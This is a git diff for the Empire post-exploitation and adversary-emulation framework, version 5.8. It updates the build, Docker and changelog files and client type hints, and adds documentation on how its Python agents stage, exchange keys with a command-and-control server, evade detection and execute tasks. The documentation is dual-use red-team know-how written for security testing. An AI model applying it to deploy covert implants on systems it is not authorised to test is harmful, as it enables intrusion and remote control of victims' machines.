+ export PATH=$PATH:$HOME/bin && \
+ mv container-structure-test-linux-amd64 $HOME/bin/container-structure-test
+ ./.github/install_tests/run-all-cst.sh ${{ join(matrix.images, ' ') }}
diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index 54feb6542..5938c9c94 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -9,13 +9,13 @@ repos:
- id: end-of-file-fixer
- repo: https://github.com/astral-sh/ruff-pre-commit
- rev: v0.0.283
+ rev: v0.1.4
hooks:
- id: ruff
args: [--fix, --exit-non-zero-on-fix]
- repo: https://github.com/psf/black-pre-commit-mirror
- rev: 23.9.1
+ rev: 23.10.1
hooks:
- id: black
- language_version: python3.9
+ language_version: python3.10
diff --git a/.python-version b/.python-version
new file mode 100644
index 000000000..e4fba2183
--- /dev/null
+++ b/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4e5f04a95..8c3d84bab 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -5,8 +5,89 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+- **Added** for new features.
+- **Changed** for changes in existing functionality.
+- **Deprecated** for soon-to-be removed features.
+- **Removed** for now removed features.
+- **Fixed** for any bug fixes.
+- **Security** in case of vulnerabilities.
+
## [Unreleased]
+## [5.8.1] - 2023-11-30
+- Updated Starkiller to v2.7.1
+
+### Added
+
+- Add tags search to credentials endpoints (@Vinnybod)
+- Allow Starkiller to be disabled (@Vinnybod)
+- Allow API port to be configured from the config.yaml (@Vinnybod)
+- Add flake8-comprehensions rules to ruff config (@Vinnybod)
+
+### Changed
+
+- Upgrade Pydantic to v2 (@Vinnybod)
+- Update common FastAPI Dependencies to use 'Annotated' types for simpler code (@Vinnybod)
+- Simplify TestClient setup (@Vinnybod)
+- Removed usages of deprecated `Credentials` and `Listeners` functions (@Vinnybod)
+- Remove usages of deprecated `Agents` functions (@Vinnybod)
+- Add typehinting for `MainMenu` object in modules (@Vinnybod)
+- Removed `name` property from listener start and shutdown functions (@Vinnybod)
+- Removed secretsocks as dependency for Python agents (@Cx01N)
+
+### Removed
+
+- Remove unused migration scripts (@Vinnybod)
+
+### Fixed
+
+- Fixed the database session management for websocket endpoints (@Vinnybod)
+
+## [5.8.0] - 2023-11-06
+
+- Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files.
+
+### Added
+
+- Added automatic tasking for sysinfo for stageless agents (@Cx01N)
+
+### Changed
+
+- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N)
+- Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N)
+- Make the installation of donut conditional on architecture since it doesn't work on ARM (@Vinnybod)
+ - When donut is invoked but not installed, give a useful warning (@Vinnybod)
+- Allow a config to be loaded from an outside directory and the downloads/logs/etc to be stored in an outside directory (@Vinnybod)
+- Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod)
+- Updated the ruff minimum Python version to 3.10 and applied fixes to get codebase compliant (@Vinnybod)
+- Remove unneeded condition statement from all listeners (@Vinnybod)
+- Update Docker build (@Vinnybod)
+ - Use the official Poetry installer
+ - Fix Starkiller trying to auto-update inside the container
+ - Pre-install Starkiller as part of the docker build
+ - Use Python 3.12
+ - Don't use apt for powershell and dotnet
+ - DockerHub images now have linux/amd64 and linux/arm64 architectures
+- Dependency changes (@Vinnybod)
+ - Use BC-Security fork of md2pdf until upstream can support Python 3.12
+ - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support
+ - Use docopt-ng for Python 3.12 support
+ - Add packaging as a runtime dependency
+- Update install script (@Vinnybod)
+ - Use pyenv to install Python
+ - Use the official Poetry installer
+ - Don't run the entire script as root
+ - Rewrite the test containers and reuse a templated Dockerfile
+ - Add Debian12 support
+ - Bump all OS to use Python 3.12
+ - Refactor the script to be a bit more readable
+ - Condense the test_install_script job
+ - Added option to start MySQL service on boot (@Cx01N)
+
+### Removed
+
+- Drop support for Python 3.8 and 3.9
+
## [5.7.3] - 2023-10-17
- Updated Starkiller to v2.6.1
@@ -610,7 +691,11 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Updated shellcoderdi to newest version (@Cx01N)
- Added a Nim launcher (@Hubbl3)
-[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...HEAD
+[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.1...HEAD
+
+[5.8.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.0...v5.8.1
+
+[5.8.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...v5.8.0
[5.7.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...v5.7.3
diff --git a/Dockerfile b/Dockerfile
index 63f0ef4f8..94f0e47b3 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -7,57 +7,66 @@
# 2) create volume storage: `docker create -v /empire --name data bcsecurity/empire`
# 3) run out container: `docker run -it --volumes-from data bcsecurity/empire /bin/bash`
-# -----RELEASE COMMANDS----
-# Handled by GitHub Actions
+FROM python:3.12.0-bullseye
-# -----BUILD ENTRY-----
-
-# image base
-FROM python:3.11.4-bullseye
-
-# extra metadata
LABEL maintainer="bc-security"
LABEL description="Dockerfile for Empire server and client. https://bc-security.gitbook.io/empire-wiki/quickstart/installation#docker"
-# env setup
ENV STAGING_KEY=RANDOM DEBIAN_FRONTEND=noninteractive DOTNET_CLI_TELEMETRY_OPTOUT=1
-# set the def shell for ENV
SHELL ["/bin/bash", "-c"]
-RUN wget -q https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb && \
- dpkg -i packages-microsoft-prod.deb && \
- apt-get update && \
+RUN apt-get update && \
apt-get install -qq \
--no-install-recommends \
apt-transport-https \
- dotnet-sdk-6.0 \
libicu-dev \
- powershell \
- python3-dev \
- python3-pip \
sudo \
xclip \
zip \
+ curl \
&& rm -rf /var/lib/apt/lists/*
+RUN unameOut="$(uname -m)" && \
+ case "$unameOut" in \
+ x86_64) export arch=x64 ;; \
+ aarch64) export arch=arm64 ;; \
+ *) exit 1;; \
+ esac && \
+ curl -L -o /tmp/powershell.tar.gz https://github.com/PowerShell/PowerShell/releases/download/v7.3.9/powershell-7.3.9-linux-$arch.tar.gz && \
+ mkdir -p /opt/microsoft/powershell/7 && \
+ tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/7 && \
+ chmod +x /opt/microsoft/powershell/7/pwsh && \
+ ln -s /opt/microsoft/powershell/7/pwsh /usr/bin/pwsh && \
+ rm /tmp/powershell.tar.gz
+
+
+RUN wget https://dot.net/v1/dotnet-install.sh -O dotnet-install.sh && \
+ chmod +x ./dotnet-install.sh && \
+ ./dotnet-install.sh --channel 6.0 && \
+ ln -s /root/.dotnet/dotnet /usr/bin/dotnet && \
+ rm dotnet-install.sh
+
+RUN curl -sSL https://install.python-poetry.org | python3 - && \
+ ln -s /root/.local/bin/poetry /usr/bin
+
WORKDIR /empire
COPY pyproject.toml poetry.lock /empire/
-RUN pip install poetry \
- --disable-pip-version-check && \
- poetry config virtualenvs.create false && \
+RUN poetry config virtualenvs.create false && \
poetry install --no-root
COPY . /empire
-RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml
-
RUN mkdir -p /usr/local/share/powershell/Modules && \
- cp -r ./empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules
+ cp -r ./empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules && \
+ rm -rf /empire/empire/server/data/empire*
+
+RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml && \
+ sed -i 's/auto_update: true/auto_update: false/g' empire/server/config.yaml
-RUN rm -rf /empire/empire/server/data/empire*
+RUN ./ps-empire sync-starkiller
ENTRYPOINT ["./ps-empire"]
CMD ["server"]
diff --git a/README.md b/README.md
index b59515342..07a4c1ed5 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
-
-![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg)
+
+![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg)
[![Donate](https://img.shields.io/badge/Donate-Sponsor-blue?style=plastic&logo=github)](https://github.com/sponsors/BC-SECURITY)
[![Docs](https://img.shields.io/badge/Wiki-Docs-green?style=plastic&logo=wikipedia)](https://bc-security.gitbook.io/empire-wiki/)
[![Discord](https://img.shields.io/discord/716165691383873536?style=plastic&logo=discord)](https://discord.gg/P8PZPyf)
@@ -34,7 +34,7 @@ Empire is a post-exploitation and adversary emulation framework that is used to
- JA3/S and JARM Evasion
- MITRE ATT&CK Integration
- Integrated Roslyn compiler (Thanks to [Covenant](https://github.com/cobbr/Covenant))
-- Docker, Kali, ParrotOS, Ubuntu 20.04/22.04, and Debian 10/11 Install Support
+- Docker, Kali, ParrotOS, Ubuntu 20.04/22.04, and Debian 10/11/12 Install Support
### Agents
- PowerShell
@@ -80,7 +80,7 @@ After cloning the repo, you can checkout the latest stable release by running th
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
-sudo ./setup/install.sh
+./setup/install.sh
```
If you are using the sponsors version of Empire, it will pull the sponsors version of Starkiller.
diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md
index 303103be9..c4b7552ed 100644
--- a/docs/SUMMARY.md
+++ b/docs/SUMMARY.md
@@ -39,4 +39,10 @@
* [PowerShell Modules](module-development/powershell-modules.md)
* [Python Modules](module-development/python-modules.md)
* [C# Modules](module-development/c-modules.md)
+* [Agents](agents/README.md)
+ * [Python](agents/python/README.md)
+ * [Main Agent Class](agents/python/mainagentclass.md)
+ * [Stage Class](agents/python/stageclass.md)
+ * [Packet Handler Class](agents/python/packethandlerclass.md)
+ * [Extended Packet Handler Class](agents/python/extendedpackethandlerclass.md)
* [Release Notes](release-notes.md)
diff --git a/docs/agents/README.md b/docs/agents/README.md
new file mode 100644
index 000000000..c16965fa8
--- /dev/null
+++ b/docs/agents/README.md
@@ -0,0 +1,29 @@
+# Empire Agents Overview
+This page provides an in-depth overview of the different agents available within Empire, including their capabilities, features, and usage scenarios.
+
+## IronPython Agent
+IronPython brings the Python language to the .NET framework. The IronPython agent leverages this to execute Python scripts using .NET, bypassing restrictions on native Python interpreters. Additional documentation on the agent can be found [here](./python/README.md).
+
+### Features
+- Executes in a .NET context, allowing for unique evasion techniques.
+- Can interface with .NET libraries directly from Python code.
+- Runs Python, C#, and PowerShell taskings.
+
+## Python Agent
+The Python agent offers cross-platform capabilities for targeting non-Windows systems, such as Linux and macOS. Additional documentation on the agent can be found [here](./python/README.md).
+
+## Features
+- Cross-platform for Linux and macOS.
+
+## PowerShell Agent
+The PowerShell agent is the original agent for Empire.
+
+# Features:
+- Reflectively loads into memory.
+- Can run C# and PowerShell taskings.
+
+## C# Agent
+The C# agent leverages [Sharpire](https://github.com/BC-SECURITY/Sharpire) as the implant.
+
+### Features
+- Can run C# and PowerShell taskings.
diff --git a/docs/agents/python/README.md b/docs/agents/python/README.md
new file mode 100644
index 000000000..b57c2ce4b
--- /dev/null
+++ b/docs/agents/python/README.md
@@ -0,0 +1,89 @@
+# Python & IronPython Agents
+
+The agents are built in Python and IronPython to provide flexibility and extensibility for a variety of scenarios and environments.
+
+## Prerequisites
+
+- Python 3.x (for the Python agent)
+- IronPython 3.4+ (for the IronPython agent)
+
+## Dependencies
+
+The agent incorporates multiple external Python functionalities, sourced via Jinja2 templates:
+
+```python
+{% include 'common/aes.py' %}
+{% include 'common/rc4.py' %}
+{% include 'common/diffiehellman.py' %}
+{% include 'common/get_sysinfo.py' %}
+{% include 'http/comms.py' %}
+```
+
+These functionalities provide:
+- AES & RC4 Encryption: For encrypted communications.
+- Diffie-Hellman Key Exchange: Secure establishment of a shared secret key.
+- System Information: Gather details about the host system.
+- HTTP Communication Methods: Communication methods tailored for HTTP. (Can be customized with other listener options)
+
+### IronPython Dependencies
+The IronPython agent will also use custom libraries that are added to lib.zip which include:
+- [SecretSocks](https://github.com/BC-SECURITY/PySecretSOCKS)
+
+## Staging Process
+Staging is the agent's initial phase, where it communicates with the server and prepares for secure interactions. During the staging process initial staging information is provided and used to create a secure communication channel.
+
+```
++------------+ +------------+ +----------------+ +------------+
+| Client | | C2 | | Stager | | Agent |
++------------+ +------------+ +----------------+ +------------+
+ | | | |
+ | | | |
+ | Request Staging | | |
+ |------------------------->| | |
+ | | | |
+ | | Generate Staging Key | |
+ | | & Profile (AES/HMAC) | |
+ | |------------------------->| |
+ | | | |
+ | Send Staging Key & | | |
+ | Profile | | |
+ |<-------------------------| | |
+ | | | |
+ | | | Decrypt Staging Profile |
+ | | |<---------------------------|
+ | | | |
+ | | | Generate Diffie-Hellman |
+ | | | (AES Session Key) |
+ | | |<---------------------------|
+ | | | |
+ | | | |
+ | | | | Decrypt
+ | | | | Tasking
+ | | | | using AES
+ | | | | Session Key
+ | | | |<-------|
+ | | | |
+ | | | | Execute
+ | | | | Tasks
+ | | | |<-------|
+```
+
+1. Client → C2: The client requests the staging code.
+2. C2: The Command and Control (C2) server generates a staging key and a profile for the client. This staging key is usually encrypted using symmetric encryption like AES and is HMAC protected.
+3. C2 → Client: The server sends the encrypted staging key and profile to the client.
+4. Stager: The stager decrypts the staging profile and initiates a Diffie-Hellman key exchange process. This results in the creation of an AES session key that will be used for future communications.
+5. Agent: When the stager receives tasking, it decrypts the tasking using the AES session key. Then the agent executes the decrypted tasks.
+
+In this process, multiple encryption schemes are at play:
+- AES/HMAC: Used to encrypt the staging key and ensure its integrity.
+- Diffie-Hellman: Used to securely negotiate an AES session key for encrypted communications between the stager/agent and the C2 server.
+
+## Components
+
+- **[Stage](stageclass.md)**: Handles the initial communication with the C2 server and sets up the main agent for execution.
+
+- **[MainAgent](mainagentclass.md)**: The core of the agent's functionality, it continuously communicates with the server, processes commands, and returns results.
+
+- **[PacketHandler](packethandlerclass.md) & [ExtendedPacketHandler](extendedpackethandlerclass.md)**: Manages the encrypted communication between the agent and the server.
+
+
diff --git a/docs/agents/python/extendedpackethandlerclass.md b/docs/agents/python/extendedpackethandlerclass.md
new file mode 100644
index 000000000..ce9435548
--- /dev/null
+++ b/docs/agents/python/extendedpackethandlerclass.md
@@ -0,0 +1,40 @@
+# ExtendedPacketHandler Class
+
+`ExtendedPacketHandler` is a subclass of `PacketHandler`. While `PacketHandler` focuses on managing packet structure and encryption, `ExtendedPacketHandler` extends this functionality by introducing specific methods to interact with the command and control server using HTTP requests. It integrates communication profiles to make these interactions customizable.
+
+## Attributes
+The attributes for `ExtendedPacketHandler` depend on the agent's communication profile, but can look similar to below for an HTTP listener.
+- **headers**: The HTTP headers to use in requests. Derived from the agent's communication profile.
+- **taskURIs**: The list of potential URI endpoints for tasking. Randomly sampled to vary the request patterns.
+- **server**: The base URL of the command and control server.
+
+## Methods
+
+### `post_message(uri, data)`
+
+Sends a POST request to the specified `uri` with the provided `data`, using the communication profile's headers. Returns the server's response.
+
+### `send_results_for_child(received_data)`
+
+Forwards tasking results to the control server for SMB agents. It uses a random taskURI and sets a session cookie in the headers based on `received_data`.
+
+### `send_get_tasking_for_child(received_data)`
+
+Forwards the get-tasking request to the control server for SMB agents, with data decoded from `received_data`.
+
+### `send_staging_for_child(received_data, hop_name)`
+
+Forwards the staging request to the control server using a specific URI (`/login/process.php`) for SMB agents. Additionally, it sets the 'Hop-Name' in the headers.
+
+### `send_message(packets=None)`
+
+If `packets` is not provided, it constructs a GET request to fetch tasking from the control server. If `packets` is provided, it constructs a POST request to send data to the server. It chooses a random taskURI for the request and manages error handling for server communication issues.
+
+## Usage Example
+
+To use `ExtendedPacketHandler`, you need to instantiate it with the right parameters, including the agent instance, staging key, session ID, and the communication profile details (headers, taskURIs, server).
+
+```python
+handler = ExtendedPacketHandler(agent_instance, "sample_staging_key", "sample_session_id", headers, server, taskURIs)
+response = handler.post_message("/some/endpoint", "some_data")
+```
diff --git a/docs/agents/python/mainagentclass.md b/docs/agents/python/mainagentclass.md
new file mode 100644
index 000000000..37205cea3
--- /dev/null
+++ b/docs/agents/python/mainagentclass.md
@@ -0,0 +1,43 @@
+## MainAgent Class
+
+The `MainAgent` class represents the core functionality of the agent after the initial staging process. It handles tasking, command execution, results posting, and overall agent lifecycle management.
+
+### Attributes
+
+- **packet_handler**: An instance of a packet handler class, such as `ExtendedPacketHandler`, which facilitates communication with the command and control server.
+- **profile**: The communication profile string, inherited from the staging process, that determines the agent's network signatures.
+- **server**: The base URL of the command and control server.
+- **session_id**: A unique identifier for the agent's session.
+- **kill_date**: The date upon which the agent will automatically cease operations.
+- **working_hours**: A window of time during which the agent is allowed to operate.
+
+### Methods
+
+#### `check_in()`
+
+Communicates with the command and control server to check for any new tasking or commands that should be executed.
+
+#### `process_packet(packet_type, data, result_id)`
+
+Processes an individual packet of data, potentially executing a command, and then returning the result. The specific behavior is determined by the `packet_type`.
+
+#### `execute_command(command)`
+
+Executes a given command on the host system, capturing any output or errors, and then returning the result.
+
+#### `send_results(result)`
+
+Packages up the result of a command and sends it to the command and control server using the `packet_handler`.
+
+#### `run()`
+
+The main loop of the agent, which continually checks in with the server for new commands, executes them, and returns results. This loop will typically continue until the `kill_date` is reached or another termination condition is met.
+
+### Usage Example
+
+To use the `MainAgent` class, it's typically instantiated within the `Stage` class after the initial staging process:
+
+```python
+agent = MainAgent(packet_handler=packetHandlerInstance, profile=profile, server=server, session_id=session_id, kill_date=kill_date, working_hours=working_hours)
+agent.run()
+```
\ No newline at end of file
diff --git a/docs/agents/python/packethandlerclass.md b/docs/agents/python/packethandlerclass.md
new file mode 100644
index 000000000..cdb5f7789
--- /dev/null
+++ b/docs/agents/python/packethandlerclass.md
@@ -0,0 +1,48 @@
+# PacketHandler Class
+
+The `PacketHandler` class is responsible for creating, parsing, and processing packets for agent-server communication. This includes encrypting/decrypting packets, extracting metadata, and routing tasking.
+
+## Attributes
+
+- **agent**: An instance of the main agent.
+- **key**: Encryption key for the current session.
+- **staging_key**: Key used during the staging process.
+- **session_id**: Unique identifier for the current session.
+- **missedCheckins**: Counter for failed check-ins.
+- **language_list**: Dictionary linking programming languages to unique IDs.
+- **meta**: Defines metadata types for packets.
+- **additional**: Empty dictionary, can be populated with additional metadata.
+
+## Methods
+
+### `rc4(key, data)`
+
+Encrypts or decrypts the input `data` with the given `key` using the RC4 algorithm.
+
+### `parse_routing_packet(staging_key, data)`
+
+Parses the encrypted agent data from a routing packet, which includes session ID, language, metadata type, and the encrypted data. The function returns a dictionary with session IDs as keys and tuples (language, metadata, additional data, encrypted data) as values.
+
+### `build_routing_packet(staging_key, session_id, meta, additional, enc_data)`
+
+Builds a packet for agent communication, including a unique session ID, metadata, and encrypted data.
+
+### `decode_routing_packet(data)`
+
+Parses all routing packets and processes packets specific to the agent's session ID.
+
+### `build_response_packet(tasking_id, packet_data, result_id)`
+
+Constructs a task packet for the agent, which includes packet type, task ID, and the actual data.
+
+### `parse_task_packet(packet, offset)`
+
+Parses a packet to extract various details such as packet type, task ID, and data. Returns a tuple with all the extracted details.
+
+### `process_tasking(data)`
+
+Processes an encrypted packet by decrypting it, extracting the packets, and directing the agent to execute them.
+
+### `process_job_tasking(result)`
+
+Processes job data packets, mainly sending results back to the Command & Control server.
\ No newline at end of file
diff --git a/docs/agents/python/stageclass.md b/docs/agents/python/stageclass.md
new file mode 100644
index 000000000..29eebf459
--- /dev/null
+++ b/docs/agents/python/stageclass.md
@@ -0,0 +1,73 @@
+## Stage Class
+
+The `Stage` class is responsible for managing the agent's initial communication with the command and control server, including the setup of encryption keys and system information exchange. It acts as the bootstrap mechanism for the agent, setting up all necessary configurations for secure and covert operations.
+
+### Attributes
+
+- **staging_key**: A pre-shared key used for initial secure communications during the staging process.
+- **profile**: The communication profile string that defines how the agent should communicate (headers, user-agents, etc.).
+- **server**: The base URL of the command and control server.
+- **kill_date**: The date on which the agent will automatically cease operations.
+- **working_hours**: A time window during which the agent is allowed to operate.
+- **session_id**: A randomly generated session identifier for the agent.
+- **key**: The encryption key that will be derived from the Diffie-Hellman key exchange.
+- **headers**: The HTTP headers that the agent will use, derived from the communication profile.
+- **packet_handler**: An instance of the packet handler (likely `ExtendedPacketHandler`) which will handle the packet-level operations like encryption, routing, etc.
+- **taskURIs**: A list of potential URIs the agent can use to fetch tasking or communicate results.
+
+## Dependencies
+
+The agent incorporates multiple external Python functionalities, sourced via Jinja2 templates:
+
+```python
+{% include 'common/aes.py' %}
+{% include 'common/rc4.py' %}
+{% include 'common/diffiehellman.py' %}
+{% include 'common/get_sysinfo.py' %}
+{% include 'http/comms.py' %}
+```
+
+These functionalities provide:
+- AES & RC4 Encryption: For encrypted communications.
+- Diffie-Hellman Key Exchange: Secure establishment of a shared secret key.
+- System Information: Gather details about the host system.
+- HTTP Communication Methods: Communication methods tailored for HTTP. (Can be customized with other listener options)
+
+## Staging Process
+Staging is the agent's initial phase, where it communicates with the server and prepares for secure interactions. During the staging process initial staging information is provided and used to create a secure communication channel. This information is provided through a jinja profile such as:
+
+```python
+self.staging_key = b'{{ staging_key }}'
+self.profile = '{{ profile }}'
+self.server = '{{ host }}'
+self.kill_date = '{{ kill_date }}'
+self.working_hours = '{{ working_hours }}'
+```
+
+### Methods
+
+#### `generate_session_id()`
+
+Generates a random session identifier for the agent. This ensures each agent instance has a unique identifier during its operation.
+
+#### `initialize_headers(profile)`
+
+Parses the communication profile string to extract and set up the HTTP headers for the agent.
+
+#### `execute()`
+
+The main method responsible for:
+
+1. Initiating the Diffie-Hellman key exchange with the server.
+2. Sending system information to the server.
+3. Decrypting the agent code received from the server.
+4. Executing the agent code and initializing the main agent operations.
+
+### Usage Example
+
+To use the `Stage` class, instantiate it and then call the `execute` method. This will initiate the staging process:
+
+```python
+stager = Stage()
+stager.execute()
+```
\ No newline at end of file
diff --git a/docs/quickstart/configuration/server.md b/docs/quickstart/configuration/server.md
index cbcf73886..84773c2f9 100644
--- a/docs/quickstart/configuration/server.md
+++ b/docs/quickstart/configuration/server.md
@@ -3,6 +3,14 @@
The Server configuration is managed via [empire/server/config.yaml](https://github.com/BC-SECURITY/Empire/blob/master/empire/client/config.yaml).
* **suppress-self-cert-warning** - Suppress the http warnings when launching an Empire instance that uses a self-signed cert.
+
+* **api** - Configure the RESTful API. The only option is the port to run the API on.
+
+```yaml
+api:
+ port: 1337
+```
+
* **database** - Configure Empire's database. Empire defaults to SQLite and has the ability to run with MySQL. For more info on the database, see the [Database](database/README.md) section.
SQLite - The location of the SQLite db file is configurable.
@@ -21,8 +29,8 @@ database:
use: mysql
mysql:
url: localhost
- username:
- password:
+ username:
+ password:
database_name:
```
diff --git a/docs/quickstart/installation/README.md b/docs/quickstart/installation/README.md
index 4a2b410ad..e89fd33b5 100644
--- a/docs/quickstart/installation/README.md
+++ b/docs/quickstart/installation/README.md
@@ -6,10 +6,10 @@ The following operating systems have been tested for Empire compatibility. We wi
* Kali Linux Rolling
* Ubuntu 20.04 / 22.04
-* Debian 10 / 11
+* Debian 10 / 11 / 12
* ParrotOS
-As of Empire 4.0, Python 3.8 is the minimum Python version required.
+As of Empire 5.8, Python 3.10 is the minimum Python version required.
## Github
@@ -19,7 +19,7 @@ Note: The `main` branch is a reflection of the latest changes and may not always
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
./setup/checkout-latest-tag.sh
-sudo ./setup/install.sh
+./setup/install.sh
```
**Sponsors:**
@@ -28,7 +28,7 @@ sudo ./setup/install.sh
git clone --recursive https://github.com/BC-SECURITY/Empire-Sponsors.git
cd Empire-Sponsors
./setup/checkout-latest-tag.sh sponsors
-sudo ./setup/install.sh
+./setup/install.sh
```
If you are using the sponsors version of Empire, it will pull the sponsors version of Starkiller.
@@ -83,4 +83,4 @@ All image versions can be found at: [https://hub.docker.com/r/bcsecurity/empire/
## Community-Supported Operating Systems
-At this time, we are choosing to only support Kali, Debian 10, and Ubuntu 20.04 installations, however, we will accept pull requests that fix issues or provide installation scripts specific to other operating systems to this wiki.
+At this time, we are choosing to only support Kali, ParrotOS, Debian 10/11/12, and Ubuntu 20.04/22.04 installations, however, we will accept pull requests that fix issues or provide installation scripts specific to other operating systems to this wiki.
diff --git a/docs/restful-api/README.md b/docs/restful-api/README.md
index 7b25260d5..fa941fc33 100644
--- a/docs/restful-api/README.md
+++ b/docs/restful-api/README.md
@@ -1,16 +1,17 @@
# RESTful API
## Introduction
-The Empire v2 API is a RESTful API that provides access to the data in Empire. It was introduced in Empire 5.0 and replaced the old v1 API.
-The API is powered by [FastAPI](https://fastapi.tiangolo.com/) and is available at [http://localhost:1337/api/v2/](http://localhost:1337/api/v2/).
+The Empire v2 API is a RESTful API that provides access to the data in Empire. It was introduced in Empire 5.0 and replaced the old v1 API.
+The API is powered by [FastAPI](https://fastapi.tiangolo.com/) and is available at [http://localhost:1337/api/v2/](http://localhost:1337/api/v2/).
The Swagger UI is available at [http://localhost:1337/docs/](http://localhost:1337/docs/).
-The docs here are to be used as a reference for the API and to explain nuances for interacting with it. For actual endpoint definitions, use the OpenAPI Spec. For explanations of what the heck a listener, stager, etc is, see the associated non-API documentation.
+The docs here are to be used as a reference for the API and to explain nuances for interacting with it. For actual endpoint definitions, use the OpenAPI Spec. For explanations of what the heck a listener, stager, etc is, see the associated non-API documentation.
The server can be launched by running `./ps-empire server` and can be connected to with the built-in client or [Starkiller](https://github.com/BC-SECURITY/Starkiller). By default, the RESTful API is started on port 1337, over HTTP without a certificate. This is because self-signed certs are blocked by most web browsers and Starkiller is used via a web browser.
If launched with `--secure-api`, https will be used using the certificate located at `empire/server/data/empire.pem`, which is generated at startup.
-The port can be changed by supplying `--restport
` on launch.
+The port can be configured in the server `config.yaml` file by the `api.port` property.
+It can also be set by supplying `--restport ` on launch, which will take precedence over the config file.
## API Authentication
API Authentication is handled via JSON Web Tokens (JWT).
@@ -55,7 +56,7 @@ options dictionary to contain the options that are required for associated stage
and will be validated against the template. The options can be sent as strings, but Empire will
still validate that they can be parsed to the correct type and raise an exception if it isn't correct.
-They can be created, updated, and deleted via the API.
+They can be created, updated, and deleted via the API.
When creating a stager, there is an option to only "generate" instead of save.
If `save=false`, then the stager will not be saved to the database, but will be returned in the response. If the stager is a file, then the response will contain a reference to the download uri for that file.
@@ -101,7 +102,7 @@ is based on its internal IP address and name.
### Host Processes
*/api/v2/hosts/{host_id}/host-processes/*
-Host processes are the processes that are scraped via the `ps` command on an agent. They are read-only via the API.
+Host processes are the processes that are scraped via the `ps` command on an agent. They are read-only via the API.
### Downloads
*/api/v2/downloads*
@@ -155,4 +156,3 @@ At the moment, there is only an endpoint for getting the version of the server.
Users support basic CRUD operations via the API.
There is also an endpoint for updating a user's password. Only an admin user can create and
update other users.
-
diff --git a/empire/client/client.py b/empire/client/client.py
index b99e29aa6..a2e31f94f 100644
--- a/empire/client/client.py
+++ b/empire/client/client.py
@@ -5,7 +5,7 @@
import threading
import time
from pathlib import Path
-from typing import Dict, List, Optional, get_type_hints
+from typing import get_type_hints
import urllib3
from docopt import docopt
@@ -56,9 +56,7 @@ def get_completions(self, document, complete_event):
word_before_cursor = document.get_word_before_cursor(WORD=True)
try:
- cmd_line = list(
- map(lambda s: s.lower(), shlex.split(document.current_line))
- )
+ cmd_line = [s.lower() for s in shlex.split(document.current_line)]
if len(cmd_line) == 0:
cmd_line.append("")
except ValueError:
@@ -121,7 +119,7 @@ class CliExitException(BaseException):
class EmpireCli:
def __init__(self) -> None:
self.completer = MyCustomCompleter(self)
- self.menus: Dict[Menu] = {
+ self.menus: dict[Menu] = {
"MainMenu": main_menu,
"ListenerMenu": listener_menu,
"UseCredentialMenu": use_credential_menu,
@@ -148,7 +146,7 @@ def strip(options):
return {re.sub("[^A-Za-z0-9 _]+", "", k): v for k, v in options.items()}
@staticmethod
- def get_autoconnect_server() -> Optional[str]:
+ def get_autoconnect_server() -> str | None:
"""
Looks for a server in the yaml marked for autoconnect.
If one is not found, returns None
@@ -268,7 +266,7 @@ def main(self):
except CliExitException:
break
- def parse_command_line(self, text: str, cmd_line: List[str], resource_file=False):
+ def parse_command_line(self, text: str, cmd_line: list[str], resource_file=False):
if len(cmd_line) == 0:
return
if not state.connected and not cmd_line[0] == "connect":
diff --git a/empire/client/src/EmpireCliConfig.py b/empire/client/src/EmpireCliConfig.py
index fd11d2f1f..10efeaa28 100644
--- a/empire/client/src/EmpireCliConfig.py
+++ b/empire/client/src/EmpireCliConfig.py
@@ -1,6 +1,5 @@
import logging
import sys
-from typing import Dict
import yaml
@@ -9,7 +8,7 @@
class EmpireCliConfig:
def __init__(self):
- self.yaml: Dict = {}
+ self.yaml: dict = {}
if "--config" in sys.argv:
location = sys.argv[sys.argv.index("--config") + 1]
log.info(f"Loading config from {location}")
diff --git a/empire/client/src/EmpireCliState.py b/empire/client/src/EmpireCliState.py
index 9ee556a85..548196ee2 100644
--- a/empire/client/src/EmpireCliState.py
+++ b/empire/client/src/EmpireCliState.py
@@ -1,6 +1,5 @@
import logging
import os
-from typing import Dict, Optional
import requests
import socketio
@@ -29,7 +28,7 @@ def __init__(self):
self.host = ""
self.port = ""
self.token = ""
- self.sio: Optional[socketio.Client] = None
+ self.sio: socketio.Client | None = None
self.connected = False
self.menus = []
@@ -345,7 +344,7 @@ def kill_listener(self, listener_id: str):
self.get_listeners()
return response
